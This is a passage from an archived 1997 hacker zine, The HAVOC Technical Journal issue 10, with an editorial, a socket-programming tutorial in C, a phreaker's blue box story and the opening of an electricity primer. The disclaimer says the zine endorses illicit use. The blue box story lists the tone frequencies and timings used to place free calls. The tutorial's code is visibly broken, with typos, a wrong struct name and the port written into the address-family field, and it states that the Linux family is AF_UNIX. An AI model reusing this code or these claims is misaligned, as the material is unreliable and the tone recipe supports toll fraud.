home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / zines / n_z / thtj10.txt < prev    next >
Encoding:
Text File  |  2003-06-11  |  147.3 KB  |  3,901 lines

  1. ╒══════════════════════════════════════════════════════════════════╕
  2. │The HAVOC Technical Journal                                       │▒
  3. └──────────────────────────────────────────────────────────────────┘▒
  4.  ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
  5.  
  6. Vol. 1 | No.10 | May 1st, 1997 | A HAVOC Bell Systems Publication
  7.   "Will someone please ICMP 127.0.0.1? That guy is an asshole!" -iCBM
  8. _____________________________________________________________________________
  9.  
  10.               -[The HAVOC Technical Journal Issue 10]-
  11.             Editorial..............................Scud-O
  12.             Network Programming for the Beginner...Scud-O
  13.             A Blue Box Story.......................memor
  14.             Basic Electricity......................ec|ipse
  15.             Pirating Your Own Radio Station........DataThief
  16.             French Pager Annoying..................memor
  17.             Unix Port Prober - prober.c............Scud-O
  18.             udp-scan.c [ from Satan 1.1.1 ]........Wietse Venema
  19.             phf.c (Again)..........................Scud-O/memor/[others]
  20.             The history of digital technology......REality
  21.             Scanning for losers....................shamr0ck
  22.             REality's Digital Dictionary...........REality
  23.             K-Kool hackers chat here!..............KungFuFox
  24.             The News...............................KungFuFox
  25.             Phonecalls.............................THTJ
  26.  
  27.             -------------------------------------------------
  28.  PLEASE NOTE: HBS's and THTJ's Web site is moving! Take note as Scud-O
  29.  will be replacing his page with his own shit and code soon!
  30.  
  31.        The new site is still under wraps, stay tuned to thtj for more info,
  32. and look at the current geocities web site, which will lead you to the new
  33. site.
  34.  
  35. _____________________________________________________________
  36.  
  37. Each pushes a weight against his chest, and howls
  38. At his opponent each time that they clash: 
  39.           "Why do you squander?" and "Why do you hoard?"
  40.  
  41. Each wheels To roll his weight back round again; they rush 
  42. Toward the circle's opposite point, collide 
  43. Painfully once more, and curse each other afresh...
  44.  
  45.                       The Inferno of Dante, Canto VII 
  46.  
  47. [ Subliminal Message: Get Inferno OS NOW! http://www.lucent.com/inferno/ ]
  48. _____________________________________________________________
  49.  
  50. The HAVOC Technical Journal - Information
  51. - Editor in Chief : Scud-O, FoxMulder@worldnet.att.net
  52. - Editor : KungFuFox, mazer@cycat.com
  53. - Submissions Editor: Keystroke, keystroke@thepentagon.com
  54. - THTJ email address: thtj@juno.com
  55. - THTJ website: http://www.geocities.com/SiliconValley/8805
  56. - THTJ mailing address: PO BOX 448 Sykesville, MD 21784 
  57.  
  58.   The HAVOC Technical Journal Vol. 1, No.10, May 1st, 1997.  
  59.   A HAVOC Bell Systems Publication.  Contents Copyright (⌐) 
  60.   1997 HAVOC Bell Systems Publishing.  All Rights Reserved.  
  61.   No part of this publication may be reproduced in whole or 
  62.   in part without the expressed written consent of HAVOC 
  63.   Bell Systems Publishing.  [No copying THTJ, damnit.]
  64.   
  65.   The HAVOC Technical Journal does in no way endorse the 
  66.   illicit use of computers, computer networks, and 
  67.   telecommunications networks, nor is it to be held liable 
  68.   for any adverse results of pursuing such activities.
  69.   [Actually, to tell you the honest to goodness truth, we      
  70.   do endorse that stuff.  We just don't wanna get in trouble 
  71.   if you try it for yourself and something goes wrong.]
  72.  
  73.                            
  74.   For infomation about using articles published in THTJ, send mail to:
  75.              e-mail: thtj@juno.com
  76.              mail:   THTJ
  77.                     c/o HBS
  78.                     PO Box 448
  79.                     Sykesville, MD 21784
  80. _____________________________________________________________
  81. [Editorial : by Scud-O]
  82.  
  83.        Ok, I had a great editorial all written up, but some things have
  84. been going on, and I do not want to offend people, so I killed what I had
  85. written up. So naturally there is no editorial. Sorry.
  86.  
  87.        Hey, anyway, check out the new HBS site. I was bored with the old one
  88. so I bombed it, and made a whole new site. and dont worry, the 'After the
  89. Aftermath' doesn't mean that HBS or THTJ is going to die, we are stronger 
  90. than ever, so dont worry.
  91.  
  92.        I would like to send thanks out to KungFuFox, not only for editing
  93. THTJ 9, but for majorly helping me out with THTJ. I owe you big Kung!
  94.  
  95.        Also, thanks go to JP, who has risen AntiOnline from a new site on
  96. a terribly slow connection, and a huge URL, to one of the largest hacking
  97. sites on the web, and its own domain. Keep it coming JP! And JP, I owe you
  98. too, thanks for your kind, witty advice, and for making a kick ass site, so
  99. I felt bad about my site, and fixed it up, majorly.
  100.                 
  101.        And finally, wrath.sepulchre.org is gone. This is upsettting to me
  102. since I was planing on moving my site, but thanks to too many lamers that
  103. abused BitchX, wrath was K-Lined, and well after getting too many complaints
  104. from sysamdins, chiapope pulled the plug. So, thanks a hell of a lot to you
  105. lamers that made chia do this. ( You know who you are..... buncha punks...)
  106.  
  107.             [ AntiOnline: http://www.antionline.com ]
  108.                  [ RIP : wrath.sepulchre.org ]
  109.  
  110.     ----------------------------------------------
  111.   /       ---/   --/  /   /  |  /------/   /    /
  112.  /---       /-----/------/-----/      /   /    /
  113. /----------/                         /--------/
  114.             -of HAVOC Bell Systems-
  115.  
  116. FoxMulder@worldnet.att.net | http://www.geocities.com/SiliconValley/8805
  117.  
  118. (Hey, I'm left handed, so if ya dont like the quote, fuck you! )
  119. "Any group that includes Charlemange, Rock Hudson, Paul McCartney,
  120. Leonardo da Vinci, Benjamin Franklin, Jack the Ripper, and the
  121. Boston Strangler must be select, if not elite."
  122.                     -author James de Kay talking about left handers
  123.  
  124. The Truth May Be Out There (Call Me If You Find It)
  125. _____________________________________________________________
  126.                    [Network Programming for the Beginner]
  127.                                  A Tutorial by Scud-O
  128.  
  129.        Network programming is the heart of UNIX programming. It is as simple
  130. as that. (Well, ok not all programs need to communicate via a network, or
  131. modem, but network programming is still none the less an important part to
  132. UNIX.) And since this important topic can be so complex and compicated, I
  133. decided to write this primer on sockets and socket programming. Now this
  134. article is anything but complete and indepth, since this is only to give you
  135. the basics. With this you can start writing various utilities and firewall
  136. holes, whatever, but if you really want to know more, go out and buy the 3
  137. volume set of books: TCP/IP Illustrated from Addison Westley Publishing.
  138. Although i currently do not have this 3 volume set, ( hell, im too busy
  139. saving up for my new car and a new hard drive!) I always stop by Borders and
  140. spend a few hours reading it, of stealing my friends copy for a few days.
  141.  
  142.        Ok, anyway, there are a few basic calls and protocols that you will
  143. use for the connection.
  144.  
  145.        o socket()
  146.        o bind()
  147.        o listen()
  148.        o accept()
  149.        o setsockopt()
  150.        o getsockopt()
  151.        o connect()
  152.        o sendto()
  153.        o recvfrom()
  154.  
  155.        You must also decide on which type of protocol that you will use:
  156.              o Connection Based (TCP)
  157.              o Connectionless   (UDP)
  158.  
  159. [Ports and Sockets]
  160.  
  161.        Network Programming is based on the use of sockets to accept and send
  162. information. As i showed above, there are 2 main protocols that you can use
  163. to send information. Transmission Control Protocol ( TCP ) and User Datagram
  164. Protocol ( UDP ) are your 2 choices. TCP is a connection based protocol, 
  165. which means that when you open up a port you send a 3 way handshake, and 
  166. usually login with a user id and password. UDP is a connectionless protocol, 
  167. which means that no login in is made, and a handshake is not done, so 
  168. connections can be easily lost, and errors are common, however this is an 
  169. easier protocol to implement (or so i think). Basically, the main difference 
  170. is that with TCP a connection is set up first, while in UDP, data is 
  171. exchanged as part of the message. Both protocols require you to have a port 
  172. number which you open up to, to transfer information. numbers are used so a 
  173. computer doesn't have to 'read' want applications are running ( why do you 
  174. think UNIX uses pids? ). It also makes it easy for the os to know how many 
  175. applications are running at any given time.
  176.        Technically, the port numbers could be assigned by the system
  177. administrator, but for the most part ( about 99% ) servers uses some standard
  178. conventions for assigning ports so machines can communicate. Port numbers are
  179. assigned from 1 and go on up. For the most part ports above 255 are for the
  180. local systems use only, but with everything, there are exceptions ( irc at
  181. port 6667 or httpd at 8080 for example ). The ports from 1 to 255 are for 
  182. most networking services.
  183.        Each network connection ( both going into and out of ) a host's port
  184. is uniquely identified by a combination of 2 numbers, the ip address of the
  185. machine and the port number in use, which together make up a socket.
  186.        Because at least 2 computer will be involed with the connection, 
  187. there are sockets on both the sending and recieving ends of the connection. 
  188. And since both the ip addresses and the ports are unique to each machine, the
  189. sockets are thus unique, and this lets applications talk yo each other across
  190. the network based entirely on the socket number.
  191.        Both machines on the connection maintain port lists that list all
  192. active ports, and the 2 machines involed have reversed entries for each
  193. session between the two, a process called binding. For example, if one 
  194. machine has a source port at 23 and the destination at 25, the other machine 
  195. will have a source port at 25 and a destination at 23.
  196.  
  197. [Socket Programming]
  198.        Linux supports BSD style socket programming, so everything here 
  199.        should work on either Linux or and of the BSD platforms.
  200.  
  201.        Well, once again, here is the list of the main socket C functions you
  202.        will be using.
  203.                     o socket()
  204.                     o bind()
  205.                     o listen()
  206.                     o accept()
  207.                     o setsockopt()
  208.                     o getsockopt()
  209.                     o connect()
  210.                     o sendto()
  211.                     o recvfrom()
  212.  
  213. [ The socket() System Call ]
  214.        The socket() system call creates a socket for the client of the 
  215.        server.
  216. The socket() function is defined as:
  217.  
  218.        #include <sys/types.h>
  219.        #include <sys/socket.h>
  220.  
  221.        int socket(int family, int type, int protocol)
  222.  
  223.        For linux, the family equals AF_UNIX. The type would be either
  224. SOCK_STREAM ( socket stream: slow, reliable connection) or SOCK_DGRAM
  225. ( socket datagram: fast, less reliable connection). The protocol should
  226. be IPPROTO_TCP for SOCK_STREAM and IPPROTO_UDP for SOCK_DGRAM.
  227.  
  228.        The return value from this function is -1 if an error occured,
  229. otherwise it is a socket descriptor. You use the socket descriptor to refer
  230. to this socket in all calls in your program after a successful socket() .
  231.  
  232.        Sockets are created without names, since bind() is used by the 
  233. clients to read or write to a socket.
  234.  
  235. [ The bind() System Call ]
  236.  
  237.              The bind() call assigns a name to an unnamed socket. Bind is
  238. defined as:
  239.  
  240.        #include <sys/types.h>
  241.        #include <sys/socket.h>
  242.  
  243.        int bind(int sockfd, struct sockaddr *saddr, int addrlen)
  244.        
  245.        The first item is a socket descriptor, the second is a structure
  246. holding the name to use, and the last item is the structure's size.
  247.  
  248.        Now that you have bound an address for your client or server, you can
  249. either connect() to it (if your code is a client) , or listen() to it, (if
  250. your code is a server). First i'll show you listen() and a few other calls
  251. that servers use, and then we will get to clients.
  252.  
  253. [ The listen() System Call ]
  254.  
  255.        The listen() system call is used by the server. It is defined as:
  256.  
  257.        #include <sys/types.h>
  258.        #include <sys/socket.h>
  259.  
  260.        int listen(int sockfd, int backlog);
  261.  
  262.        The sockfd is the socket descriptor, and the backlog is that 
  263. wonderful little backlog queue that daemon9 showed us how to exploit in 
  264. phrack 48. It holds the number of pending connections before any are 
  265. rejected. Use the standard value of 5 for this. A return value of less than 1 
  266. is a error.
  267.  
  268.        If this call is successful, you can now accept connections.
  269.  
  270. [ The accept() System Call ]
  271.  
  272.        accept() is used by a server to accept any incoming messages from
  273. a client's connect() call. Be aware that this function does not return if no
  274. connections are recieved. It is defined as:
  275.  
  276.        #include <sys/types.h>
  277.        #include <sys/socket.h>
  278.  
  279.        int accept(int sockfd, struct sockaddr *peeraddr, int addrlen);
  280.  
  281. The parameters are the same for the bind() call, except that peeraddr points
  282. to information about the client that is making the connection request. Based
  283. upon the incoming message, the fields in peeraddr are filled out.
  284.  
  285. [ The connect() System Call ]
  286.        connect() is used by a client program to connect to a server when you
  287. are using a connection-based system (ie, TCP). This call should be made after
  288. you have bind()ed the connection. It is defined as:
  289.  
  290.        #include <sys/types.h>
  291.        #include <sys/socket.h>
  292.  
  293.        int connect(int sockfd, struct sockaddr *servaddr, int addrlen);
  294.  
  295.        As you can see, the parameters are the same as those for the bind 
  296. call except for that servaddr points to info about the server that the client 
  297. is connecting to. The accept() call creates a new socket for the server to 
  298. work with the request. This way, the server can fork() off a new process and 
  299. wait for more connections.
  300.  
  301. [ setsockopt(), getsockopt(), and the Linux bug ]
  302.        You may not know this, but there is a major bug in Linux's socket
  303. libraries. The bug is that even if you have closed a socket properly, you
  304. cannot reuse that socket.( I think daemon9 discussed this in his TCP/SYN
  305. article for phrack 48, and i think that his ideas on what was causing the
  306. problem is right, but that remains to be seen. ) For example,if you write
  307. a server that waits on a socket, it opens the socket and listens on it with
  308. a single problem. However, if the server either crashes or normally 
  309. terminates and you restart the server, you can not bind back to the same 
  310. port. The error codes from bind() keep returning an error indicating that the 
  311. port you are trying to connect on is already bound by another process.
  312.        The problem lies in the fact that Linux's kernel never marks ports as
  313. unused when the process that is using the socket terminates.
  314.  
  315.        To get around this, the solution is to use setsockopt() to set the
  316. options on the socket when it is opened, and before a connection is made. The
  317. setsockopt() sets options and the getsockopt() call gets options for a given
  318. socket.
  319.  
  320.        The syntax and definition of the 2 calls are:
  321.  
  322.        #include <sys/types.h>
  323.        #include <sys/socket.h>
  324.  
  325.        int setsockopt( int sockfd, int level, int name, char *value,
  326.                                                     int *otplen)
  327.        int getsockopt( int sockfd, int level, int name, char *value,
  328.                                                     int *otplen)
  329.  
  330.        Once again, the sockfd must be an open socket, level is the protocol
  331. level, either IPPROTO_TCP for TCP/IP or SOL_SOCKET for socket level options.
  332. Name is the option as defined in the socket's man page. the *valeu pointer
  333. points to the location where a value is set by getsockopt() and must be set
  334. by you when calling setscokopt().
  335.        The full man page for this is under man page setsockopt(2). Have fun
  336. reading it.
  337.        Now, back to the bug. When you open a socket, you must also call the
  338. setsockopt() function like so:
  339.  
  340.        #ifdef LINUX
  341.        opt = 1; len = sizeof(opt);
  342.        setsockopt(sockfd,SOL_SOCKET,SO_REUSEADDR,&opt,&len);
  343.        #endif
  344.  
  345.        You only  will need the #ifdef and #endif if you want to be able to
  346. quickly and easily port this code, since some UNIX systems dont support the
  347. SO_REUSEADDR flag.
  348.  
  349.  
  350. [ Sample Code: A Socket Oriented Server ]
  351.  
  352. /********************************************************
  353. * Sample Code: A Socket Oriented Server, from THTJ 10
  354. * Written By Scud-O of HBS
  355. ********************************************************/
  356.  
  357. #include <sys/types.h>
  358. #include <sys/socket.h>
  359. #include <linux/in.h>
  360. #include <linux/net.h>
  361.  
  362. #define PORT 1152  /* Use what ever you want, it doesn't matter */
  363.  
  364. main(int argc, char *argv[])
  365. {
  366.        int sockfd, newfd;
  367.        int cpid;  /* child id */
  368.        struct sockaddr_in servaddr;
  369.        struct sockaddr_in client_info;
  370.  
  371.        if ((sockfd = socket(AF_INET, SOCK_STREAM, 0) < 0 )
  372.              {
  373.                     myabort("Unable to create socket");
  374.              }
  375.  
  376.        #ifdef LINUX
  377.        opt = 1; len = sizeof(opt);
  378.        setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &opt, &len));
  379.        #endif
  380.  
  381.        bzero((char *)&servaddr, sizeof(servaddr));
  382.  
  383.        servaddr.sin_family = AF_INET;
  384.        servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
  385.        servaddr.sin_family = htons(PORT);
  386.  
  387. /******************
  388. * the htonl ( for a long integer ) and htons ( for short integer ) convert
  389. * a host oriented byte order * into a network order.
  390. *******************/
  391.  
  392. if(bind(sockfd, sockaddr *)&servaddr, sizeof(struct sickaddr)) < 0)
  393. {
  394.     myabort("Unable to bind socket");
  395. }
  396.  
  397. listen(sockfd, 5);
  398. for(;;)
  399. {
  400.     /* Wait here.... */
  401.     newfd = accept(sockfd, (struct sockaddr *)&client_info, 
  402.                     sizeof(struct sockaddr);
  403.     if(newfd < 0)
  404.              myabort("Unable to accept on socket");
  405.     if(( cpid = fork()) < 0)
  406.         myabort("Unable to fork on accept");
  407.     else if (cpid == 0)
  408.     {
  409.         /*  Child Process */
  410.         close(sockfd); /* We dont need the original anymore */
  411.  
  412.         /* Place your code for what you want the server to do where
  413.            do_what_ever_here(newfd); is ! */
  414.         do_what_ever_here(newfd); 
  415.  
  416.         exit(0);
  417.     }
  418.     close(newfd); /* were back in the parent */
  419.  
  420. } /* end of for loop */                      
  421.  
  422. /* Good Bye! */     
  423. }
  424.  
  425. Ok, so basically, the conection based server does the following things:
  426.  
  427.        o Creates a socket with socket()
  428.        o Binds itself to an address with bind()
  429.        o Listens for connections with listen()
  430.        o accept any incoming connections with accept()
  431.        o Gets incoming messages with read() and writes with write()
  432.         [ read() and write() will be in your do_what_ever_here() call! ]
  433.  
  434. NOTE: myabort() should be a procedure YOU create to handle error messages, 
  435. and then kill the process, restart, etc.
  436.  
  437. Now, for a client.....
  438. [ The Client ]       
  439.  
  440. /********************************************************
  441. * Sample Code: A Socket Oriented Client, from THTJ 10
  442. * Written By Scud-O of HBS
  443. ********************************************************/
  444.  
  445. #include <sys/types.h>
  446. #include <sys/socket.h>
  447. #include <linux/in.h>
  448. #include <linux/net.h>
  449.  
  450. #define PORT 1152  /* Use what ever you want, it doesn't matter */
  451. #defne MY_HOST_ADDR "Put.Your.IP.Here"
  452.  
  453. int getServerSocketId()
  454. {
  455.        int fd, len;
  456.        struct sockaddr_in unix_addr;
  457.        /* Create a Unix domain stream socket */
  458.        if( (fd - socket(AF_UNIX, SOCK_STREAM, 0)) < 0)
  459.        {
  460.              return(-1)
  461.        }
  462.        #ifdef LINUX
  463.        opt = 1; len = sizeof(opt);
  464.        setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &opt, &len);
  465.        #endif
  466.  
  467.        /* Fill socket address structure with our address */
  468.        memset(&unix_addr, 0 , sizeof(unix_addr));
  469.        unix_addr.sin_family = AF_INET;
  470.  
  471.        /* Convert internet address to binary value */
  472.        unix_addr.sin_addr.s_addr = inet_addr(MY_HOST_ADDR);
  473.        unix_addr.sin_family = htons(PORT);
  474.  
  475.        if(bind(fd, (struct sockaddr *) &unix_addr, len) < 0)
  476.              return(-2);
  477.        memset(&unix_addr, 0, sizeof(unix_addr));
  478.        if(connect(fd, (struct sockaddr *) &unix_addr, len) < 0)
  479.              return(-3);
  480.  
  481.        return(fd);
  482. }
  483.  
  484.        /* Add in main() function, do whatever you like to send out
  485.        error messages, etc..... */
  486.  
  487.        The client does the following things:
  488.  
  489.        o Creates a socket with socket()
  490.        o Attempts to connect with connect()
  491.        o If a connection is made, request data with write(), read info with
  492.         read() [ NOTE: these would be called in main() ]
  493.  
  494. Now, for a connectionless socket example
  495.  
  496. [ Connectionless Sockets : The Server ]
  497.  
  498.        Ok, first we will need to know the few, subtile, but important
  499. differences with connectionless socket programming. The first main principle
  500. is that the server uses recvfrom() instead of listen() and accept(). And, to
  501. reply to messages, sendto() is used.
  502.  
  503. #include <sys/types.h>
  504. #include <sys/socket.h>
  505. #include <linux/in.h>
  506. #include <linux/net.h>
  507.  
  508. #define PORT 262  /* Use what you wish */
  509. #define MAXM 4096
  510. chat mesg[MAXM];
  511.  
  512. main(int argc char *argv[])
  513. {
  514.        int sockfd, newfd;
  515.        int cpid; /* for child process id */
  516.        struct sockaddr_in servaddr;
  517.        struct sockaddr_in client_info;
  518.  
  519.        if ((sockfd = socket(AF_INET, SOCK_STREAM, 0) < 0 )
  520.              {
  521.                     myabort("Unable to create socket");
  522.              }
  523.  
  524.        #ifdef LINUX
  525.        opt = 1; len = sizeof(opt);
  526.        setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &opt, &len));
  527.        #endif
  528.  
  529.        bzero((char *)&servaddr, sizeof(servaddr));
  530.  
  531.        servaddr.sin_family = AF_INET;
  532.        servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
  533.        servaddr.sin_family = htons(PORT);
  534.  
  535. /******************
  536. * the htonl ( for a long integer ) and htons ( for short integer ) convert
  537. * a host oriented byte order * into a network order.
  538. *******************/
  539.  
  540. if(bind(sockfd, sockaddr *)&servaddr, sizeof(struct sickaddr)) < 0)
  541. {
  542.     myabort("Unable to bind socket");
  543. }
  544.  
  545. for(;;)
  546. {
  547.     /* Wait here.... */
  548.        n = recvfrom(sockfd,mesg, MAXM, 0, (struct sockaddr *)&client_info,
  549.                  sizeof(struct sockaddr));
  550.  
  551.        /* Place what server is to do in here. */
  552.        do_what_ever_here(mesg);
  553.  
  554.        sendto(sockfd, mesg, n, 0, (struct sockaddr *)&client_info,
  555.              sizeof(struct sockaddr));
  556. } /* end of for loop */
  557. /* Good bye! */
  558. }
  559.  
  560. As you can see, connectionless programming is much easier than connection
  561. based programming, but i still advise against using connectionless, since
  562. errors are very common. And, a pain lies in that you must process each 
  563. message one at a time, since messages from multiple clients can be 
  564. multiplexed together. In the connection based model, the child process always 
  565. knows where each message is coming from.
  566.  
  567.        The client, doesn't need to call the connect() call either, instead 
  568. it calls sendto() directly. For a client side of the connectionless 
  569. connection, use the same code as in the server, but note that sendto() is 
  570. called before recvfrom(), as so:
  571.  
  572.        #include <sys/types.h>
  573.        #include <sys/socket.h>
  574.  
  575.        int sendto(int sockfd, const void *message__, /* pointer to message*/
  576.                 int length, /* of message */
  577.                 unsigned int flags, /* of routing, leave as 0 */
  578.                 const struct sockaddr * client, /* where to send it */
  579.                 int length ); /* of sockaddr */
  580.  
  581.        NOTE: Uses this call, not sendmsg(), since sendto() is more efficent
  582.  
  583.        Any errors are returned as -1, and only local errors will be 
  584.        detected.
  585.  
  586.        recvfrom() looks like:
  587.  
  588.        #include <sys/types.h>
  589.        #include <sys/socket.h>
  590.  
  591.        int recvfrom(int sockfd, const void *message__, /* pointer to message*/
  592.                 int length, /* of message */
  593.                 unsigned int flags, /* of routing, leave as 0 */
  594.                 const struct sockaddr * client, /* where to send it */
  595.                 int length ); /* of sockaddr */
  596.  
  597.        Note that iff the message is too long to fit in the buffers, the 
  598. extra bytes will be discarded. The call could return immediately, or it could 
  599. wait forever, it all depends on the type of flag that is sent. I also 
  600. recommend that you set timeout values, read the man page for recvfrom, since 
  601. this info changes from server to server.
  602.  
  603.        Ok, well, this is all for this beginner on Socket Programming. I have
  604. barely even started to get to the core of socket programming, but one can
  605. only devote so much time to a subject. For more information, check out the
  606. book : 'UNIX Network Programming' by W. Richard Stevens ( Prentice Hall, 
  607. 1990) this is by far the most comprehensive guide out there, and most 
  608. Universities use it for a text book for thier advanced C classes.
  609.  
  610. _____________________________________________________________
  611.                                    [A Blue Box Story]
  612.                                            by memor
  613.  
  614. Israel Blueboxing is born because we found a Teletel Gate that we can
  615. access via a local israel number.
  616.  
  617. **************************
  618. *Remember Teletel Network*
  619. **************************
  620.  
  621. It is a V23 interface (1200/75Bauds that you can access with USR sportster,
  622. changing S38 register with ATS38=4&w &w for saving changes).
  623. It is under some Videotex Terminals. There are many kinds of that terminals,
  624. the first one made by France Telecom nammed "Minitel", it is like a modem +
  625.  console.. The modem is a CAP23(1200/75bauds remote .. To 9600Bauds Local)
  626. and the console is Videotex (40 Cols mode or 80 Cols), the 40 Cols mode is
  627. the most used because its a graphical mode and 80 Cols is only a text mode.
  628. You activate Graphism mode on 40Cols with a $0e sent (Control + N) , after
  629. you calculate the graphism you send on a caracter with that method:
  630.  
  631. *********
  632. *$01*$02* example: if you want to make that graphism : ▓
  633. *********                                              ▓▓ 
  634. *$04*$08*                                              ▓
  635. *********
  636. *$10*$40* You will have to make lightning $01,$04,$10 and $08 with that
  637. ********* algorythm : $20 + $01 + $04 + $08 + $10 = $3D
  638.         So you'll have to send to the local console a $0E , $3D.
  639.  
  640. Colors(or gray scale if the minitel console is monochrom) or minitel are 
  641. accessible with thoses commands sent to the local console:
  642.  
  643.        Text Color:
  644.        ***********
  645.  
  646.        ESC @ - BLACK     -
  647.        ESC D - DARK BLUE -
  648.        ESC A - RED       -
  649.        ESC E - PURPLE    -
  650.        ESC B - GREEN     -
  651.        ESC F - LIGHT BLUE-
  652.        ESC C - YELLOW    -
  653.        ESC G - WHITE     -
  654.  
  655.        Background Color:
  656.        *****************
  657.  
  658.        ESC P - BLACK     -
  659.        ESC T - DARK BLUE -
  660.        ESC Q - RED       -
  661.        ESC U - PURPLE    -
  662.        ESC R - GREEN     -
  663.        ESC V - LIGHT BLUE-
  664.        ESC S - YELLOW    - 
  665.        ESC W - WHITE     -
  666.        
  667. You can use some effects on videotex terminal.. like thoses ones:
  668.  
  669.        Effect:
  670.        *******
  671.  
  672.        ESC Z : underlining
  673.        ESC Y : Stop Underlining
  674.        ESC ] : Inverse Video Mode
  675.        ESC \ : Normal Video Mode
  676.        CONTROL + N : Graphism Mode
  677.        CONTROL + O : Text Mode
  678.        ESC H : Flash On
  679.        ESC I : Flash Off
  680.  
  681. Normally on bbs (v32 v34...), file transfer are done in Zmodem,Ymodem, 
  682. Xmodem or others Kermit... On Teletel Terminal or videotex RTC (Commuted 
  683. Telephone Networks.. little BBS 1200/75 V23) are done in BBT protocole,
  684. a real slow and bad one (BBT protocol are free on ftp.teaser.fr or 
  685. ftp.minitel.fr,recently hacked with some libroot.gz,unreachable)
  686.  
  687.        Little Videotex RTC answer output exemple: 
  688.        
  689.        /* Minitel send a carrier on a "RING" */
  690.        
  691.        atz<cr>                     /* Software Reset*/
  692.        OK
  693.        ats34=8<cr>                 /*Configuring modem for V23*/
  694.        OK
  695.        *** executing answer script
  696.        RING
  697.        RING                       /*Answer after 2 rings because S00 
  698.                             sportster register S00=02*/
  699.        ata<cr>                    /*Send a carrier*/
  700.        CONNECT 1200/75            /*Connected to Cap23 or Minitel*/
  701.        *** connected
  702.        *** run c:\usr\minitel\minitel.exe
  703.  
  704.        for more informations about teletel networks, email
  705.        (France Telecom main server administrator) root@ftp.minitel.fr
  706.        (A really known Teletel programmer and Graphist) chip@mail.teaser.fr
  707.        (A videotex Graphist) darkseed@avo.net
  708.  
  709. ***********************
  710. *Back To Bluebox Story*
  711. ***********************
  712.  
  713. So, just like I said before , I and some phreakers friends were trying 
  714. to bluebox on ISRAEL for calling for free that teletel gate (Israel allow
  715. only local dials with blueboxing) frequencies(mf) were :
  716.  
  717.        Frequencie1: F1:     2650
  718.                  F2:     2250
  719.                  Lenght: 175ms
  720.  
  721.                  Delay:  10ms
  722.  
  723.        Frequencie2: F1:     2420
  724.                  F2:     2400
  725.                  Lenght: 345ms
  726.  
  727.                  Delay:  10ms
  728.  
  729. And the dial was AxxxxxxxxC A for local call.. B hanged up directly after
  730. some "disconnect" beeps and A + routine code + country code hanged up too,
  731. well only local call allowed.
  732. After 1 month of total blueboxing of some of us , a mass
  733. bust of DST came (DST == Territory Security Department)... the cops , 
  734. after taking our computers (Atari STe , Mega St.. Amiga 500 and 1200 +
  735. Screens + Modems and all the hardware interfaces) and they just asked
  736. us if we were from the israelite spy service nammed Mossad.. We were only 
  737. using thoses israel free phones numbers (080090xxxx) for using minitel
  738. with free calls.
  739.  
  740. on Atari (Mega)St(e) , we were using Breeblebox.
  741. on Amiga 1200 , we were using Ultimate Access
  742.  
  743. memor 04/09/97
  744.  
  745. *********************
  746. *Some infoz about me*
  747. *********************
  748.  
  749. my emails memor@mygale.org
  750.         memor@stepahead.net
  751.  
  752. my phreaker page with links : http://www.mygale.org/00/memor
  753.  
  754. _____________________________________________________________
  755.     Basic Electricity - by ec|ipse.
  756.  
  757. 1.1  The Electron Theory
  758.  
  759.     All the effects of electricity can be explained and predicted by 
  760.     assuming the existence of a tiny particle called an electron.  All the 
  761.     electrical or electronic devices used today have one thing in common, 
  762.     they are concerned with the controlling of electron movements.  Three 
  763.     fundamental invisible quantities; voltage, current, and resistance are 
  764.     present in every electrical circuit.  These quantities are controlled 
  765.     and directed by the proper arrangement of component parts to produce the 
  766.     desired electron movement.
  767.  
  768. 1.2  Voltage (Abbreviated as E)
  769.  
  770.     Voltage is an electromotive force or pressure that causes electrons to
  771.     move.  If we consider a battery, it has a negatively charged pole and a 
  772.     positively charged pole.  An electron is a small particle with a 
  773.     negative charged pole.  An electron is a small particle with a negetive 
  774.     charge so it will be pulled to the positive pole and pushed away by the 
  775.     negative pole of the battery.  The strength of the push and pull is 
  776.     governed by the difference in potential of the two poles.  The potential 
  777.     difference is a force that can cause electrons to move from negative to 
  778.     positive and it is measured in volts.
  779.  
  780. 1.3  Current (Abbreviated as I)
  781.  
  782.     The movement of electrons along a wire is called current flow and 
  783.     because electrons move from negative to positive, current is also said 
  784.     to flow from negative to positive.  Current is produced by voltage and 
  785.     the rate that current is flowing is measured in amperes, similar to the 
  786.     way we measure water flow in gallons per second.
  787.  
  788. 1.4  Resistance (Abbreviated as R)
  789.  
  790.     When an electrical current flows through a conductor, there is a loss 
  791.     of energy or opposition to the flow similar to the friction that occurs
  792.     when water flows through a pipe.  The cause of this loss in an 
  793.     electrical circuit is called resistance and is measured in ohms.  A 
  794.     difference in potential of one volt will cause one ampere to flow though 
  795.     one ohm of resistance.  This is the basis for Ohm's Law which gives the 
  796.     relationship for E, I and R in all electrical circuits involving only 
  797.     resistance.
  798.  
  799. 1.5  Prefixed Used With Electrical Units
  800.  
  801.     In measuring currents, voltages, and resistances, the ampere, volt, and
  802.     ohm, respectively are not always units of convenient size.  Related 
  803.     units are often used that have values 10, 100, 1,000 or more times 
  804.     larger or smaller than these fundamental units.  The size indicated by a 
  805.     prefix added to the fundamental name of the unit as follows:
  806.     
  807.     Mega                               1,000,000 =    10(6)
  808.     Kilo                                   1,000 =    10(3)
  809.     Deci                                    1/10 =   10(-1)
  810.     Milli                                1/1,000 =   10(-3)
  811.     Micro                            1/1,000,000 =   10(-6)
  812.     Pico                   1/100,000,000,000,000 =  10(-12)                     
  813.     
  814.     The most common of these that you will encounter are as follows:
  815.     
  816.     A milliampere often referred to as a "milli" is 1/1,00 or .001 amperes.
  817.  
  818.     A kilohm is 1,000 ohms.
  819.  
  820.     A megohm is 1,000,000 ohms.
  821.   
  822.     A microfarad, used for measuring capacitance, is referred to as a "mike"
  823.     and is 1/1,000,000 of a farad.
  824.  
  825.  
  826. 1.6  Ohm's Law
  827.  
  828.     I have briefly mentioned Ohm's Law when giving some of the preceding 
  829.     definitions, and it is the most important single principle in 
  830.     electricity. Maybe we should take a brief look at the law and what it 
  831.     means before we go any further.
  832.  
